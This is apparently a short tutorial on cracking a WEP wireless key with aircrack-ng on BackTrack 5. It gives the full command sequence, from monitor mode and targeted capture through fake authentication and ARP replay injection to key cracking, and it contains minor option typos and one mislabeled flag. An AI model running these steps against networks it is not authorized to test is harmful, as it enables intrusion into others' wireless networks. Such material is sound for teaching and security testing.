Wireless Hacking - WEP Key Crack
0x00. 환경구성
OS : BackTrack 5 R3 (32-bit)
Kernel : Linux bt 3.2.6
0x01. iwconfig
Configure a wireless network interface.
iwconfig is similar to ifconfig, but is dedicated to the wireless interfaces.
# iwconfig
0x02. airmon-ng
airmon-ng is script can be used to enable monitor mode on wireless interfaces.
airmon-ng <start|stop> <interface>
# airmon-ng start wlan0
0x03. airodump-ng
A wireless packet capture tool for aircrack-ng.
airodump-ng [options] <interface>
# airodump-ng mon0
To capture a specific wireless.
[Options]
-c <channel>[,<channel>[, ...]]
--channel <channel>[,<channel>[, ...]]
: Indicate the channel(s) to listen to. By default airodump-ng hop on 2.4GHz channels.
-w <prefix>
--wirte <prefix>
: Is the dump file prefix to use. If this option is not given, it will only show data on the screen. Beside this file a CSV file with the same filename as the capture will be created.
[Filter options]
-d <bssid>
--bssid <bssid>
: It will only show networks, matching the given bssid.
# airodump-ng -c 9 -d 64:e5:99:0f:38:e2 -w WEP-Key mon0
0x04. aireplay-ng
Inject packets into a wireless network to generate traffic.
The fake authentication attack.
aireplay-ng <options> <replay interface>
[Attack modes]
-1 <delay>
--fakeauth=<delay>
: The fake authentication attack allows you to perform the two types of WEP authentication(Open System and Shared Key) plus associate with the access point (AP).
[Replay options]
-e <essid>
: Fake Authentication attack
: Set target SSID.
-a <bssid>
: Set Access Point MAC address.
-h <smac>
: Set source MAC address.
# aireplay-ng -1 0 -e WEP -a 64:e5:99:0f:38:e2 -h 00:08:9f:da:bf:bf mon0
The class ARP request replay attack.
aireplay-ng <options> <replay interface>
[Attack modes]
-3
--arpreplay
: The class ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably.
[Filter options]
-b <bssid>
: MAC address of Access Point.
[replay options]
-h <bssid>
: Set Access Point MAC address.
# aireplay-ng -3 -b 64:e5:99:0f:38:e2 -h 00:08:9f:da:bf:bf mon0
0x05. aircrack-ng
A 802.11 WEP / WPA-PSK Key Cracker.
aircrack-ng [options] <.cap / .ivs file(s)>
# aircrack-ng WEP-Key-01.cap
